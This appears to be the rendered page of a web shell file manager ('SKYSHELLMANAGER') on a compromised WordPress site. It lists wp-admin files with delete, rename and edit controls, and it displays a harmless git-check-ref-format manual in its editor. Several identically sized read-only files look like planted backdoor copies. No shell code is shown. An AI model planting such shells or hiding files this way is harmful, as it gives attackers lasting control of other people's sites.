ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 data.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: git-check-ref-format.txt

git-check-ref-format(1)
=======================

NAME
----
git-check-ref-format - Ensures that a reference name is well formed

SYNOPSIS
--------
[verse]
'git check-ref-format' [--normalize]
       [--[no-]allow-onelevel] [--refspec-pattern]
       <refname>
'git check-ref-format' --branch <branchname-shorthand>

DESCRIPTION
-----------
Checks if a given 'refname' is acceptable, and exits with a non-zero
status if it is not.

A reference is used in Git to specify branches and tags.  A
branch head is stored in the `refs/heads` hierarchy, while
a tag is stored in the `refs/tags` hierarchy of the ref namespace
(typically in `$GIT_DIR/refs/heads` and `$GIT_DIR/refs/tags`
directories or, as entries in file `$GIT_DIR/packed-refs`
if refs are packed by `git gc`).

Git imposes the following rules on how references are named:

. They can include slash `/` for hierarchical (directory)
  grouping, but no slash-separated component can begin with a
  dot `.` or end with the sequence `.lock`.

. They must contain at least one `/`. This enforces the presence of a
  category like `heads/`, `tags/` etc. but the actual names are not
  restricted.  If the `--allow-onelevel` option is used, this rule
  is waived.

. They cannot have two consecutive dots `..` anywhere.

. They cannot have ASCII control characters (i.e. bytes whose
  values are lower than \040, or \177 `DEL`), space, tilde `~`,
  caret `^`, or colon `:` anywhere.

. They cannot have question-mark `?`, asterisk `*`, or open
  bracket `[` anywhere.  See the `--refspec-pattern` option below for
  an exception to this rule.

. They cannot begin or end with a slash `/` or contain multiple
  consecutive slashes (see the `--normalize` option below for an
  exception to this rule)

. They cannot end with a dot `.`.

. They cannot contain a sequence `@{`.

. They cannot contain a `\`.

These rules make it easy for shell script based tools to parse
reference names, pathname expansion by the shell when a reference name is used
unquoted (by mistake), and also avoids ambiguities in certain
reference name expressions (see linkgit:gitrevisions[7]):

. A double-dot `..` is often used as in `ref1..ref2`, and in some
  contexts this notation means `^ref1 ref2` (i.e. not in
  `ref1` and in `ref2`).

. A tilde `~` and caret `^` are used to introduce the postfix
  'nth parent' and 'peel onion' operation.

. A colon `:` is used as in `srcref:dstref` to mean "use srcref\'s
  value and store it in dstref" in fetch and push operations.
  It may also be used to select a specific object such as with
  'git cat-file': "git cat-file blob v1.3.3:refs.c".

. at-open-brace `@{` is used as a notation to access a reflog entry.

With the `--branch` option, it expands the ``previous branch syntax''
`@{-n}`.  For example, `@{-1}` is a way to refer the last branch you
were on.  This option should be used by porcelains to accept this
syntax anywhere a branch name is expected, so they can act as if you
typed the branch name.

OPTIONS
-------
--[no-]allow-onelevel::
	Controls whether one-level refnames are accepted (i.e.,
	refnames that do not contain multiple `/`-separated
	components).  The default is `--no-allow-onelevel`.

--refspec-pattern::
	Interpret <refname> as a reference name pattern for a refspec
	(as used with remote repositories).  If this option is
	enabled, <refname> is allowed to contain a single `*`
	in place of a one full pathname component (e.g.,
	`foo/*/bar` but not `foo/bar*`).

--normalize::
	Normalize 'refname' by removing any leading slash (`/`)
	characters and collapsing runs of adjacent slashes between
	name components into a single slash.  Iff the normalized
	refname is valid then print it to standard output and exit
	with a status of 0.  (`--print` is a deprecated way to spell
	`--normalize`.)

EXAMPLES
--------

* Print the name of the previous branch:
+
------------
$ git check-ref-format --branch @{-1}
------------

* Determine the reference name to use for a new branch:
+
------------
$ ref=$(git check-ref-format --normalize "refs/heads/$newbranch") ||
die "we do not like '$newbranch' as a branch name."
------------

GIT
---
Part of the linkgit:git[1] suite

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: git-check-ref-format.txt

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29